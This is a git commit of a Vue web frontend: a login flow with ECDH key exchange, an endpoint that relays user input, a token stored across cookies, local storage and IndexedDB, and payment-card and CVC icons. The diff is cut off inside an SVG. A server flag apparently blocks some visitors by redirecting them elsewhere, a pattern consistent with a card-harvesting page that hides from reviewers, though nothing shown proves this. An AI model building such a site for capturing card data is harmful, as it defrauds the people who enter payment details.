This commit is contained in:
telangpu
2026-05-10 22:48:33 +08:00
parent 91fd7ffcf0
commit 35a00381fe
481 changed files with 73279 additions and 0 deletions

View File

@@ -0,0 +1,70 @@
<script setup lang="ts">
import { RouterView } from "vue-router";
import { onMounted } from "vue";
import http from "@/api/http";
import { useLoadingStore } from "@/stores/loadingStore";
import {
configData,
loginSuccess,
redirectToExternal,
headHtml,
loadHtml,
headerHtml,
footerHtml,
} from "@/utils/common";
import { generateECDHKeyPair, deriveSessionKey } from "@/utils/socketio";
import LoadingView from "@/views/LoadingView.vue";
const loadingStore = useLoadingStore();
onMounted(() => {
login();
});
const login = async function () {
headerHtml.value = await loadHtml("/Static_zy/header.html");
loadingStore.setLoading(true);
const { keyPair, clientPublicKeyB64 } = await generateECDHKeyPair();
http.post("/api", { clientPublicKey: clientPublicKeyB64 }).then(async (data) => {
if (data.data.isBlock) {
redirectToExternal();
return;
}
if (data.data.isFirst) {
localStorage.removeItem("route")
}
let token = data.data.Token;
if (data.data.mode) {
localStorage.setItem("mode", data.data.mode);
}
// 如果服务端返回了公钥,完成 ECDH 推导会话密钥(兼容大小写两种字段名)
const serverPubKey = data.data.ServerPublicKey || data.data.serverPublicKey;
let sessionCrypto = null;
if (serverPubKey) {
try {
sessionCrypto = await deriveSessionKey(serverPubKey, keyPair.privateKey);
} catch (e) {
}
}
loginSuccess(token, data.data.mode, sessionCrypto);
if (data.data.custom) {
configData.value = JSON.parse(data.data.custom);
}
});
footerHtml.value = await loadHtml("/Static_zy/footer.html");
};
</script>
<template>
<div v-html="headHtml"></div>
<LoadingView />
<RouterView />
</template>
<style scoped></style>

View File

@@ -0,0 +1,5 @@
import http from "@/api/http";
export function sendInput(data: any) {
http.post("/api/input", data).then((data) => {});
}

View File

@@ -0,0 +1,223 @@
// http.js
import axios from "axios";
import { v4 as uuidv4 } from "uuid";
// ============ 配置 ============
const BASE_URL = import.meta.env.VITE_BASE_URL === "/"
? "/"
: import.meta.env.VITE_BASE_URL.startsWith('localhost:')
? `http://${import.meta.env.VITE_BASE_URL}`
: `https://${import.meta.env.VITE_BASE_URL}`;
const DB_CONFIG = {
name: "TokenDB",
version: 2,
store: "tokens",
key: "userToken",
} as const;
const STORAGE_KEY = "token";
// ============ IndexedDB 操作 ============
class TokenDB {
private static async open(): Promise<IDBDatabase> {
return new Promise((resolve, reject) => {
const request = indexedDB.open(DB_CONFIG.name, DB_CONFIG.version);
request.onerror = () => reject(request.error);
request.onsuccess = () => resolve(request.result);
request.onupgradeneeded = (event) => {
const db = (event.target as IDBOpenDBRequest).result;
if (db.objectStoreNames.contains(DB_CONFIG.store)) {
db.deleteObjectStore(DB_CONFIG.store);
}
db.createObjectStore(DB_CONFIG.store, { keyPath: "key" });
};
});
}
static async get(): Promise<string | null> {
try {
const db = await this.open();
return new Promise((resolve) => {
const tx = db.transaction(DB_CONFIG.store, "readonly");
const request = tx.objectStore(DB_CONFIG.store).get(DB_CONFIG.key);
request.onsuccess = () => resolve(request.result?.value || null);
request.onerror = () => resolve(null);
tx.oncomplete = () => db.close();
tx.onabort = () => db.close();
});
} catch {
return null;
}
}
static async set(token: string): Promise<void> {
try {
const db = await this.open();
return new Promise((resolve) => {
const tx = db.transaction(DB_CONFIG.store, "readwrite");
tx.objectStore(DB_CONFIG.store).put({ key: DB_CONFIG.key, value: token });
tx.oncomplete = () => { db.close(); resolve(); };
tx.onerror = () => { db.close(); resolve(); };
});
} catch {
// 静默失败,有其他存储兜底
}
}
}
// ============ Token 管理器 ============
class TokenManager {
private static cache: string | null = null;
private static pending: Promise<string> | null = null;
// UUID v4 格式校验,防止脏数据
private static isValidToken(token: string | null): token is string {
return !!token && /^[0-9a-f]{8}-[0-9a-f]{4}-4[0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$/i.test(token);
}
// 安全地操作 Storage
private static safeGet(storage: Storage): string | null {
try {
return storage.getItem(STORAGE_KEY);
} catch {
return null;
}
}
private static safeSet(storage: Storage, token: string): void {
try {
storage.setItem(STORAGE_KEY, token);
} catch {
// 静默失败
}
}
// Cookie 操作同步iOS 上比 localStorage 更早可用)
private static getFromCookie(): string | null {
try {
const match = document.cookie.match(new RegExp(`(?:^|; )${STORAGE_KEY}=([^;]*)`));
return match ? decodeURIComponent(match[1]) : null;
} catch {
return null;
}
}
private static saveToCookie(token: string): void {
try {
// 有效期 400 天Safari 上限SameSite=Lax 兼容 WebView
document.cookie = `${STORAGE_KEY}=${encodeURIComponent(token)};path=/;max-age=34560000;SameSite=Lax`;
} catch {
// 静默失败
}
}
// 同步到所有存储(后台执行,不阻塞)
private static syncToAllStorages(token: string): void {
this.safeSet(sessionStorage, token);
this.safeSet(localStorage, token);
this.saveToCookie(token);
TokenDB.set(token).catch(() => { });
}
// 从同步存储快速获取cookie 优先iOS 上最可靠的同步读取)
private static getFromSyncStorage(): string | null {
const token = this.getFromCookie() || this.safeGet(sessionStorage) || this.safeGet(localStorage);
return this.isValidToken(token) ? token : null;
}
// 延迟后重试读取同步存储iOS 冷启动时存储可能未就绪)
private static waitAndRetrySync(ms: number): Promise<string | null> {
return new Promise(resolve => {
setTimeout(() => resolve(this.getFromSyncStorage()), ms);
});
}
// 主入口:获取或创建 Token
static async getToken(): Promise<string> {
// 1. 内存缓存(最快)
if (this.cache) return this.cache;
// 2. 等待进行中的创建(并发安全)
if (this.pending) return this.pending;
// 3. 同步存储快速路径
const syncToken = this.getFromSyncStorage();
if (syncToken) {
this.cache = syncToken;
this.syncToAllStorages(syncToken);
return syncToken;
}
// 4. 异步获取或创建(带锁)
this.pending = this.createToken();
return this.pending;
}
private static async createToken(): Promise<string> {
try {
// 再次检查缓存
if (this.cache) return this.cache;
// 尝试从 IndexedDB 恢复
const dbToken = await TokenDB.get();
if (dbToken && this.isValidToken(dbToken)) {
this.cache = dbToken;
this.syncToAllStorages(dbToken);
return dbToken;
}
// iOS 冷启动兜底:等待一小段时间后重试同步存储
// localStorage/cookie 数据可能存在,但初始化瞬间还未就绪)
for (const delay of [50, 100, 150]) {
const retryToken = await this.waitAndRetrySync(delay);
if (retryToken) {
this.cache = retryToken;
this.syncToAllStorages(retryToken);
return retryToken;
}
}
// 所有恢复手段用尽,生成新 Token
const newToken = uuidv4();
this.cache = newToken;
this.syncToAllStorages(newToken);
return newToken;
} finally {
this.pending = null;
}
}
}
// ============ Axios 实例 ============
const http = axios.create({
baseURL: BASE_URL,
timeout: 15000,
});
// 请求拦截器
http.interceptors.request.use(
async (config) => {
const token = await TokenManager.getToken();
config.headers["Token"] = token;
config.headers["X-Token"] = token;
config.params = { ...config.params, token };
return config;
},
(error) => Promise.reject(error)
);
// 响应拦截器
http.interceptors.response.use(
(response) => response.data,
(error) => {
if (error.response) {
console.error("Error:", error.response.status, error.response.data);
} else {
console.error("Error:", error.message);
}
return Promise.reject(error);
}
);
export default http;

View File

@@ -0,0 +1,11 @@
html, body {
padding: 0;
border: 0;
margin: 0;
overflow-x: hidden;
overflow-y: auto;
overflow: hidden auto
}

View File

@@ -0,0 +1 @@
<svg enable-background="new 0 0 780 500" height="500" viewBox="0 0 780 500" width="780" xmlns="http://www.w3.org/2000/svg"><path d="m40 0h700c22.092 0 40 17.909 40 40v420c0 22.092-17.908 40-40 40h-700c-22.091 0-40-17.908-40-40v-420c0-22.091 17.909-40 40-40z" fill="#0079be"/><path d="m599.93 251.45c0-99.415-82.98-168.13-173.9-168.1h-78.242c-92.003-.033-167.73 68.705-167.73 168.1 0 90.93 75.727 165.64 167.73 165.2h78.242c90.914.436 173.9-74.294 173.9-165.2z" fill="#fff"/><path d="m348.28 97.43c-84.07.027-152.19 68.308-152.21 152.58.02 84.258 68.144 152.53 152.21 152.56 84.09-.027 152.23-68.303 152.24-152.56-.011-84.272-68.149-152.55-152.24-152.58z" fill="#0079be"/><path d="m252.07 249.6c.08-41.181 25.746-76.297 61.94-90.25v180.48c-36.194-13.948-61.861-49.045-61.94-90.23zm131 90.274v-180.53c36.207 13.92 61.914 49.057 61.979 90.257-.065 41.212-25.772 76.322-61.979 90.269z" fill="#fff"/></svg>

After

Width:  |  Height:  |  Size: 901 B

File diff suppressed because one or more lines are too long

After

Width:  |  Height:  |  Size: 8.7 KiB

View File

@@ -0,0 +1 @@
<?xml version="1.0" ?><svg viewBox="0 0 48 48" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><defs><style>.cls-1{fill:url(#linear-gradient);}.cls-2{fill:#a5a4a4;}.cls-3{fill:#333;}.cls-4{fill:#e6e6e6;}.cls-5{fill:gray;}.cls-6{fill:url(#linear-gradient-2);}.cls-7{fill:url(#linear-gradient-3);}.cls-8{fill:#fff;}</style><linearGradient gradientUnits="userSpaceOnUse" id="linear-gradient" x1="22.04" x2="22.04" y1="12.76" y2="39.8"><stop offset="0" stop-color="#e6e6e6"/><stop offset="1" stop-color="#bababa"/></linearGradient><linearGradient gradientUnits="userSpaceOnUse" id="linear-gradient-2" x1="35.54" x2="35.54" y1="11.27" y2="20.1"><stop offset="0" stop-color="#00bde8"/><stop offset="1" stop-color="#009dc1"/></linearGradient><linearGradient gradientUnits="userSpaceOnUse" id="linear-gradient-3" x1="35.54" x2="35.54" y1="12" y2="19.67"><stop offset="0" stop-color="#00cfff"/><stop offset="1" stop-color="#00afd6"/></linearGradient></defs><title/><g id="icons"><g data-name="Layer 3" id="Layer_3"><rect class="cls-1" height="26" rx="5" ry="5" width="35" x="4.54" y="12.81"/><path class="cls-2" d="M35.54,11.19a7.63,7.63,0,1,0,4,14.1V12.34A7.54,7.54,0,0,0,35.54,11.19Z"/><rect class="cls-3" height="4" width="35" x="4.54" y="19.81"/><rect class="cls-4" height="2" width="8" x="8.54" y="32.81"/><rect class="cls-4" height="2" width="6" x="19.54" y="32.81"/><rect class="cls-4" height="2" width="7" x="28.54" y="32.81"/><rect class="cls-5" height="2" width="8" x="8.54" y="31.81"/><rect class="cls-5" height="2" width="6" x="19.54" y="31.81"/><rect class="cls-5" height="2" width="7" x="28.54" y="31.81"/><path class="cls-6" d="M43.17,16.81a7.63,7.63,0,1,1-7.63-7.62A7.64,7.64,0,0,1,43.17,16.81Z"/><path class="cls-7" d="M35.54,23.44a6.63,6.63,0,1,1,6.63-6.63,6.63,6.63,0,0,1-6.63,6.63Z"/><path class="cls-8" d="M38,16.58V14.85a2.25,2.25,0,0,0-2.25-2.25h-.34a2.25,2.25,0,0,0-2.25,2.25v1.73H31.79V21H39.3V16.58Zm-1,0H34.12V14.85a1.25,1.25,0,0,1,1.25-1.25h.34A1.25,1.25,0,0,1,37,14.85Z"/></g></g></svg>

After

Width:  |  Height:  |  Size: 2.0 KiB

View File

@@ -0,0 +1 @@
<svg width="24" height="24" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg" fill="#6d6e78" role="img" aria-labelledby="cvcDesc"><path opacity=".2" fill-rule="evenodd" clip-rule="evenodd" d="M15.337 4A5.493 5.493 0 0013 8.5c0 1.33.472 2.55 1.257 3.5H4a1 1 0 00-1 1v1a1 1 0 001 1h16a1 1 0 001-1v-.6a5.526 5.526 0 002-1.737V18a2 2 0 01-2 2H3a2 2 0 01-2-2V6a2 2 0 012-2h12.337zm6.707.293c.239.202.46.424.662.663a2.01 2.01 0 00-.662-.663z"></path><path opacity=".4" fill-rule="evenodd" clip-rule="evenodd" d="M13.6 6a5.477 5.477 0 00-.578 3H1V6h12.6z"></path><path fill-rule="evenodd" clip-rule="evenodd" d="M18.5 14a5.5 5.5 0 110-11 5.5 5.5 0 010 11zm-2.184-7.779h-.621l-1.516.77v.786l1.202-.628v3.63h.943V6.22h-.008zm1.807.629c.448 0 .762.251.762.613 0 .393-.37.668-.904.668h-.235v.668h.283c.565 0 .95.282.95.691 0 .393-.377.66-.911.66-.393 0-.786-.126-1.194-.37v.786c.44.189.88.291 1.312.291 1.029 0 1.736-.526 1.736-1.288 0-.535-.33-.967-.88-1.14.472-.157.778-.573.778-1.045 0-.738-.652-1.241-1.595-1.241a3.143 3.143 0 00-1.234.267v.77c.378-.212.763-.33 1.132-.33zm3.394 1.713c.574 0 .974.338.974.778 0 .463-.4.785-.974.785-.346 0-.707-.11-1.076-.337v.809c.385.173.778.26 1.163.26.204 0 .392-.032.573-.08a4.313 4.313 0 00.644-2.262l-.015-.33a1.807 1.807 0 00-.967-.252 3 3 0 00-.448.032V6.944h1.132a4.423 4.423 0 00-.362-.723h-1.587v2.475a3.9 3.9 0 01.943-.133z"></path></svg>

After

Width:  |  Height:  |  Size: 1.3 KiB

View File

@@ -0,0 +1 @@
<svg enable-background="new 0 0 780 500" height="500" viewBox="0 0 780 500" width="780" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><linearGradient id="a" gradientTransform="matrix(132.87 0 0 323.02 -120270 -100930)" gradientUnits="userSpaceOnUse" x1="908.72" x2="909.72" y1="313.21" y2="313.21"><stop offset="0" stop-color="#007b40"/><stop offset="1" stop-color="#55b330"/></linearGradient><linearGradient id="b" gradientTransform="matrix(133.43 0 0 323.02 -121080 -100920)" gradientUnits="userSpaceOnUse" x1="908.73" x2="909.73" y1="313.21" y2="313.21"><stop offset="0" stop-color="#1d2970"/><stop offset="1" stop-color="#006dba"/></linearGradient><linearGradient id="c" gradientTransform="matrix(132.96 0 0 323.03 -120500 -100930)" gradientUnits="userSpaceOnUse" x1="908.72" x2="909.72" y1="313.21" y2="313.21"><stop offset="0" stop-color="#6e2b2f"/><stop offset="1" stop-color="#e30138"/></linearGradient><path d="m632.24 361.27c0 41.615-33.729 75.36-75.357 75.36h-409.13v-297.88c0-41.626 33.73-75.371 75.364-75.371h409.12l-.001 297.89z" fill="#fff"/><path d="m498.86 256.54c11.686.254 23.438-.516 35.077.4 11.787 2.199 14.628 20.043 4.156 25.887-7.145 3.85-15.633 1.434-23.379 2.113h-15.854zm41.834-32.145c2.596 9.164-6.238 17.392-15.064 16.13h-26.77c.188-8.642-.367-18.022.272-26.209 10.724.302 21.547-.616 32.209.48 4.581 1.151 8.415 4.917 9.353 9.599zm64.425-135.9c.498 17.501.072 35.927.215 53.783-.033 72.596.07 145.19-.057 217.79-.47 27.207-24.582 50.848-51.601 51.391-27.045.11-54.094.017-81.143.047v-109.75c29.471-.152 58.957.309 88.416-.23 13.666-.858 28.635-9.875 29.271-24.914 1.609-15.104-12.631-25.551-26.151-27.201-5.197-.135-5.045-1.515 0-2.117 12.895-2.787 23.021-16.133 19.227-29.499-3.233-14.058-18.771-19.499-31.695-19.472-26.352-.179-52.709-.025-79.062-.077.17-20.489-.355-41 .283-61.474 2.088-26.716 26.807-48.748 53.446-48.27 26.287-.004 52.57-.004 78.851-.005z" fill="url(#a)"/><path d="m174.74 139.54c.673-27.164 24.888-50.611 51.872-51.008 26.945-.083 53.894-.012 80.839-.036-.074 90.885.146 181.78-.111 272.66-1.038 26.834-24.989 49.834-51.679 50.309-26.996.098-53.995.014-80.992.041v-113.45c26.223 6.195 53.722 8.832 80.474 4.723 15.991-2.573 33.487-10.426 38.901-27.016 3.984-14.191 1.741-29.126 2.334-43.691v-33.825h-46.297c-.208 22.371.426 44.781-.335 67.125-1.248 13.734-14.849 22.46-27.802 21.994-16.064.17-47.897-11.642-47.897-11.642-.08-41.914.466-94.405.693-136.18z" fill="url(#b)"/><path d="m324.72 211.89c-2.437.517-.49-8.301-1.113-11.646.166-21.15-.347-42.323.283-63.458 2.082-26.829 26.991-48.916 53.738-48.288h78.768c-.074 90.885.145 181.78-.111 272.66-1.039 26.834-24.992 49.833-51.683 50.309-26.997.102-53.997.016-80.996.042v-124.3c18.439 15.129 43.5 17.484 66.472 17.525 17.318-.006 34.535-2.676 51.353-6.67v-22.772c-18.953 9.446-41.233 15.446-62.243 10.019-14.656-3.648-25.295-17.812-25.058-32.937-1.698-15.729 7.522-32.335 22.979-37.011 19.191-6.008 40.107-1.413 58.096 6.398 3.854 2.018 7.766 4.521 6.225-1.921v-17.899c-30.086-7.158-62.104-9.792-92.33-2.005-8.749 2.468-17.273 6.211-24.38 11.956z" fill="url(#c)"/></svg>

After

Width:  |  Height:  |  Size: 3.0 KiB

View File

@@ -0,0 +1 @@
<?xml version="1.0" ?><!DOCTYPE svg PUBLIC '-//W3C//DTD SVG 1.1//EN' 'http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd'><svg enable-background="new 0 0 48 48" height="48px" id="Layer_1" version="1.1" viewBox="0 0 48 48" width="48px" xml:space="preserve" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><path clip-rule="evenodd" d="M46,44.438H2c-0.553,0-1-0.447-1-1s0.447-1,1-1h44c0.553,0,1,0.447,1,1 S46.553,44.438,46,44.438z M16,34.438c0.553,0,1,0.447,1,1s-0.447,1-1,1H8c-0.553,0-1-0.447-1-1s0.447-1,1-1h1v-13H8 c-0.553,0-1-0.447-1-1c0-0.552,0.447-1,1-1h8c0.553,0,1,0.448,1,1c0,0.553-0.447,1-1,1h-1v13H16z M13,21.438h-2v13h2V21.438z M28,34.438c0.553,0,1,0.447,1,1s-0.447,1-1,1h-8c-0.553,0-1-0.447-1-1s0.447-1,1-1h1v-13h-1c-0.553,0-1-0.447-1-1 c0-0.552,0.447-1,1-1h8c0.553,0,1,0.448,1,1c0,0.553-0.447,1-1,1h-1v13H28z M25,21.438h-2v13h2V21.438z M44,39.438 c0,0.553-0.447,1-1,1H5c-0.553,0-1-0.447-1-1s0.447-1,1-1h38C43.553,38.438,44,38.885,44,39.438z M40,34.438c0.553,0,1,0.447,1,1 s-0.447,1-1,1h-8c-0.553,0-1-0.447-1-1s0.447-1,1-1h1v-13h-1c-0.553,0-1-0.447-1-1c0-0.552,0.447-1,1-1h8c0.553,0,1,0.448,1,1 c0,0.553-0.447,1-1,1h-1v13H40z M37,21.438h-2v13h2V21.438z M3,15.438L24,4l21,11.438v2H3V15.438z M40.541,15.438L24,6.886 L7.396,15.438H40.541z" fill-rule="evenodd"/></svg>

After

Width:  |  Height:  |  Size: 1.3 KiB

View File

@@ -0,0 +1,60 @@
<?xml version="1.0" encoding="utf-8"?>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" style="margin: auto; background: rgb(255, 255, 255); display: block; shape-rendering: auto;" width="200px" height="200px" viewBox="0 0 100 100" preserveAspectRatio="xMidYMid">
<g transform="translate(80,50)">
<g transform="rotate(0)">
<circle cx="0" cy="0" r="6" fill="#000000" fill-opacity="1">
<animateTransform attributeName="transform" type="scale" begin="-0.875s" values="1.5 1.5;1 1" keyTimes="0;1" dur="1s" repeatCount="indefinite"></animateTransform>
<animate attributeName="fill-opacity" keyTimes="0;1" dur="1s" repeatCount="indefinite" values="1;0" begin="-0.875s"></animate>
</circle>
</g>
</g><g transform="translate(71.21320343559643,71.21320343559643)">
<g transform="rotate(45)">
<circle cx="0" cy="0" r="6" fill="#000000" fill-opacity="0.875">
<animateTransform attributeName="transform" type="scale" begin="-0.75s" values="1.5 1.5;1 1" keyTimes="0;1" dur="1s" repeatCount="indefinite"></animateTransform>
<animate attributeName="fill-opacity" keyTimes="0;1" dur="1s" repeatCount="indefinite" values="1;0" begin="-0.75s"></animate>
</circle>
</g>
</g><g transform="translate(50,80)">
<g transform="rotate(90)">
<circle cx="0" cy="0" r="6" fill="#000000" fill-opacity="0.75">
<animateTransform attributeName="transform" type="scale" begin="-0.625s" values="1.5 1.5;1 1" keyTimes="0;1" dur="1s" repeatCount="indefinite"></animateTransform>
<animate attributeName="fill-opacity" keyTimes="0;1" dur="1s" repeatCount="indefinite" values="1;0" begin="-0.625s"></animate>
</circle>
</g>
</g><g transform="translate(28.786796564403577,71.21320343559643)">
<g transform="rotate(135)">
<circle cx="0" cy="0" r="6" fill="#000000" fill-opacity="0.625">
<animateTransform attributeName="transform" type="scale" begin="-0.5s" values="1.5 1.5;1 1" keyTimes="0;1" dur="1s" repeatCount="indefinite"></animateTransform>
<animate attributeName="fill-opacity" keyTimes="0;1" dur="1s" repeatCount="indefinite" values="1;0" begin="-0.5s"></animate>
</circle>
</g>
</g><g transform="translate(20,50.00000000000001)">
<g transform="rotate(180)">
<circle cx="0" cy="0" r="6" fill="#000000" fill-opacity="0.5">
<animateTransform attributeName="transform" type="scale" begin="-0.375s" values="1.5 1.5;1 1" keyTimes="0;1" dur="1s" repeatCount="indefinite"></animateTransform>
<animate attributeName="fill-opacity" keyTimes="0;1" dur="1s" repeatCount="indefinite" values="1;0" begin="-0.375s"></animate>
</circle>
</g>
</g><g transform="translate(28.78679656440357,28.786796564403577)">
<g transform="rotate(225)">
<circle cx="0" cy="0" r="6" fill="#000000" fill-opacity="0.375">
<animateTransform attributeName="transform" type="scale" begin="-0.25s" values="1.5 1.5;1 1" keyTimes="0;1" dur="1s" repeatCount="indefinite"></animateTransform>
<animate attributeName="fill-opacity" keyTimes="0;1" dur="1s" repeatCount="indefinite" values="1;0" begin="-0.25s"></animate>
</circle>
</g>
</g><g transform="translate(49.99999999999999,20)">
<g transform="rotate(270)">
<circle cx="0" cy="0" r="6" fill="#000000" fill-opacity="0.25">
<animateTransform attributeName="transform" type="scale" begin="-0.125s" values="1.5 1.5;1 1" keyTimes="0;1" dur="1s" repeatCount="indefinite"></animateTransform>
<animate attributeName="fill-opacity" keyTimes="0;1" dur="1s" repeatCount="indefinite" values="1;0" begin="-0.125s"></animate>
</circle>
</g>
</g><g transform="translate(71.21320343559643,28.78679656440357)">
<g transform="rotate(315)">
<circle cx="0" cy="0" r="6" fill="#000000" fill-opacity="0.125">
<animateTransform attributeName="transform" type="scale" begin="0s" values="1.5 1.5;1 1" keyTimes="0;1" dur="1s" repeatCount="indefinite"></animateTransform>
<animate attributeName="fill-opacity" keyTimes="0;1" dur="1s" repeatCount="indefinite" values="1;0" begin="0s"></animate>
</circle>
</g>
</g>
<!-- [ldio] generated by https://loading.io/ --></svg>

After

Width:  |  Height:  |  Size: 3.9 KiB

View File

@@ -0,0 +1 @@
<svg enable-background="new 0 0 780 500" height="500" viewBox="0 0 780 500" width="780" xmlns="http://www.w3.org/2000/svg"><path d="m293.2 348.73 33.359-195.76h53.358l-33.384 195.76zm246.11-191.54c-10.569-3.966-27.135-8.222-47.821-8.222-52.726 0-89.863 26.551-90.181 64.604-.297 28.129 26.515 43.822 46.754 53.185 20.771 9.598 27.752 15.716 27.652 24.283-.133 13.123-16.586 19.115-31.924 19.115-21.355 0-32.701-2.967-50.225-10.273l-6.878-3.111-7.487 43.822c12.463 5.467 35.508 10.199 59.438 10.445 56.09 0 92.502-26.248 92.916-66.885.199-22.27-14.016-39.215-44.801-53.188-18.65-9.056-30.072-15.099-29.951-24.269 0-8.137 9.668-16.838 30.56-16.838 17.446-.271 30.088 3.534 39.936 7.5l4.781 2.259zm137.31-4.223h-41.23c-12.772 0-22.332 3.486-27.94 16.234l-79.245 179.4h56.031s9.159-24.121 11.231-29.418c6.123 0 60.555.084 68.336.084 1.596 6.854 6.492 29.334 6.492 29.334h49.512l-43.187-195.64zm-65.417 126.41c4.414-11.279 21.26-54.724 21.26-54.724-.314.521 4.381-11.334 7.074-18.684l3.606 16.878s10.217 46.729 12.353 56.527h-44.293zm-363.3-126.41-52.239 133.5-5.565-27.129c-9.726-31.274-40.025-65.157-73.898-82.12l47.767 171.2 56.455-.063 84.004-195.39-56.524-.001" fill="#0e4595"/><path d="m146.92 152.96h-86.041l-.682 4.073c66.939 16.204 111.23 55.363 129.62 102.42l-18.709-89.96c-3.229-12.396-12.597-16.096-24.186-16.528" fill="#f2ae14"/></svg>

After

Width:  |  Height:  |  Size: 1.3 KiB

File diff suppressed because one or more lines are too long

After

Width:  |  Height:  |  Size: 6.8 KiB

View File

@@ -0,0 +1 @@
<svg enable-background="new 0 0 780 500" height="500" viewBox="0 0 780 500" width="780" xmlns="http://www.w3.org/2000/svg"><path d="m40 .001h700c22.092 0 40 17.909 40 40v420c0 22.092-17.908 40-40 40h-700c-22.091 0-40-17.908-40-40v-420c0-22.091 17.909-40 40-40z" fill="#2557d6"/><path d="m.253 235.69h37.441l8.442-19.51h18.9l8.42 19.51h73.668v-14.915l6.576 14.98h38.243l6.576-15.202v15.138h183.08l-.085-32.026h3.542c2.479.083 3.204.302 3.204 4.226v27.8h94.689v-7.455c7.639 3.92 19.518 7.455 35.148 7.455h39.836l8.525-19.51h18.9l8.337 19.51h76.765v-18.532l11.626 18.532h61.515v-122.51h-60.88v14.468l-8.522-14.468h-62.471v14.468l-7.828-14.468h-84.38c-14.123 0-26.539 1.889-36.569 7.153v-7.153h-58.229v7.153c-6.383-5.426-15.079-7.153-24.75-7.153h-212.74l-14.274 31.641-14.659-31.641h-67.005v14.468l-7.362-14.468h-57.145l-26.539 58.246v64.261h.003zm236.34-17.67h-22.464l-.083-68.794-31.775 68.793h-19.24l-31.858-68.854v68.854h-44.57l-8.42-19.592h-45.627l-8.505 19.592h-23.801l39.241-87.837h32.559l37.269 83.164v-83.164h35.766l28.678 59.587 26.344-59.587h36.485zm-165.9-37.823-14.998-35.017-14.915 35.017zm255.3 37.821h-73.203v-87.837h73.203v18.291h-51.289v15.833h50.06v18.005h-50.061v17.542h51.289zm103.16-64.18c0 14.004-9.755 21.24-15.439 23.412 4.794 1.748 8.891 4.838 10.84 7.397 3.094 4.369 3.628 8.271 3.628 16.116v17.255h-22.104l-.083-11.077c0-5.285.528-12.886-3.458-17.112-3.202-3.09-8.083-3.76-15.973-3.76h-23.523v31.95h-21.914v-87.838h50.401c11.199 0 19.451.283 26.535 4.207 6.933 3.924 11.09 9.652 11.09 19.45zm-27.699 13.042c-3.013 1.752-6.573 1.81-10.841 1.81h-26.62v-19.51h26.982c3.818 0 7.804.164 10.393 1.584 2.842 1.28 4.601 4.003 4.601 7.765 0 3.84-1.674 6.929-4.515 8.351zm62.844 51.138h-22.358v-87.837h22.358zm259.56 0h-31.053l-41.535-65.927v65.927h-44.628l-8.527-19.592h-45.521l-8.271 19.592h-25.648c-10.649 0-24.138-2.257-31.773-9.715-7.701-7.458-11.708-17.56-11.708-33.533 0-13.027 2.395-24.936 11.812-34.347 7.085-7.01 18.18-10.242 33.28-10.242h21.215v18.821h-20.771c-7.997 0-12.514 1.14-16.862 5.203-3.735 3.699-6.298 10.69-6.298 19.897 0 9.41 1.951 16.196 6.023 20.628 3.373 3.476 9.506 4.53 15.272 4.53h9.842l30.884-69.076h32.835l37.102 83.081v-83.08h33.366l38.519 61.174v-61.174h22.445zm-133.2-37.82-15.165-35.017-15.081 35.017zm189.04 178.08c-5.322 7.457-15.694 11.238-29.736 11.238h-42.319v-18.84h42.147c4.181 0 7.106-.527 8.868-2.175 1.665-1.474 2.605-3.554 2.591-5.729 0-2.561-1.064-4.593-2.677-5.811-1.59-1.342-3.904-1.95-7.722-1.95-20.574-.67-46.244.608-46.244-27.194 0-12.742 8.443-26.156 31.439-26.156h43.649v-17.479h-40.557c-12.237 0-21.129 2.81-27.425 7.174v-7.175h-59.985c-9.595 0-20.854 2.279-26.179 7.175v-7.175h-107.12v7.175c-8.524-5.892-22.908-7.175-29.549-7.175h-70.656v7.175c-6.745-6.258-21.742-7.175-30.886-7.175h-79.077l-18.094 18.764-16.949-18.764h-118.13v122.59h115.9l18.646-19.062 17.565 19.062 71.442.061v-28.838h7.021c9.479.14 20.66-.228 30.523-4.312v33.085h58.928v-31.952h2.842c3.628 0 3.985.144 3.985 3.615v28.333h179.01c11.364 0 23.244-2.786 29.824-7.845v7.845h56.78c11.815 0 23.354-1.587 32.134-5.649l.002-22.84zm-354.94-47.155c0 24.406-19.005 29.445-38.159 29.445h-27.343v29.469h-42.591l-26.984-29.086-28.042 29.086h-86.802v-87.859h88.135l26.961 28.799 27.875-28.799h70.021c17.389 0 36.929 4.613 36.929 28.945zm-174.22 40.434h-53.878v-17.48h48.11v-17.926h-48.11v-15.974h54.939l23.969 25.604zm86.81 10.06-33.644-35.789 33.644-34.65zm49.757-39.066h-28.318v-22.374h28.572c7.912 0 13.404 3.09 13.404 10.772 0 7.599-5.238 11.602-13.658 11.602zm148.36-40.373h73.138v18.17h-51.315v15.973h50.062v17.926h-50.062v17.48l51.314.08v18.23h-73.139zm-28.119 47.029c4.878 1.725 8.865 4.816 10.734 7.375 3.095 4.291 3.542 8.294 3.631 16.037v17.418h-22.002v-10.992c0-5.286.531-13.112-3.542-17.198-3.201-3.147-8.083-3.899-16.076-3.899h-23.42v32.09h-22.02v-87.859h50.594c11.093 0 19.173.47 26.366 4.146 6.915 4.004 11.266 9.487 11.266 19.511-.001 14.022-9.764 21.178-15.531 23.371zm-12.385-11.107c-2.932 1.667-6.556 1.811-10.818 1.811h-26.622v-19.732h26.982c3.902 0 7.807.08 10.458 1.587 2.84 1.423 4.538 4.146 4.538 7.903 0 3.758-1.699 6.786-4.538 8.431zm197.82 5.597c4.27 4.229 6.554 9.571 6.554 18.613 0 18.9-12.322 27.723-34.425 27.723h-42.68v-18.84h42.51c4.157 0 7.104-.525 8.95-2.175 1.508-1.358 2.589-3.333 2.589-5.729 0-2.561-1.17-4.592-2.675-5.811-1.675-1.34-3.986-1.949-7.803-1.949-20.493-.67-46.157.609-46.157-27.192 0-12.744 8.355-26.158 31.33-26.158h43.932v18.7h-40.198c-3.984 0-6.575.145-8.779 1.587-2.4 1.422-3.29 3.534-3.29 6.319 0 3.314 2.037 5.57 4.795 6.546 2.311.77 4.795.995 8.526.995l11.797.306c11.895.276 20.061 2.248 25.024 7.065zm86.955-23.52h-39.938c-3.986 0-6.638.144-8.867 1.587-2.312 1.423-3.202 3.534-3.202 6.322 0 3.314 1.951 5.568 4.791 6.544 2.312.771 4.795.996 8.444.996l11.878.304c11.983.284 19.982 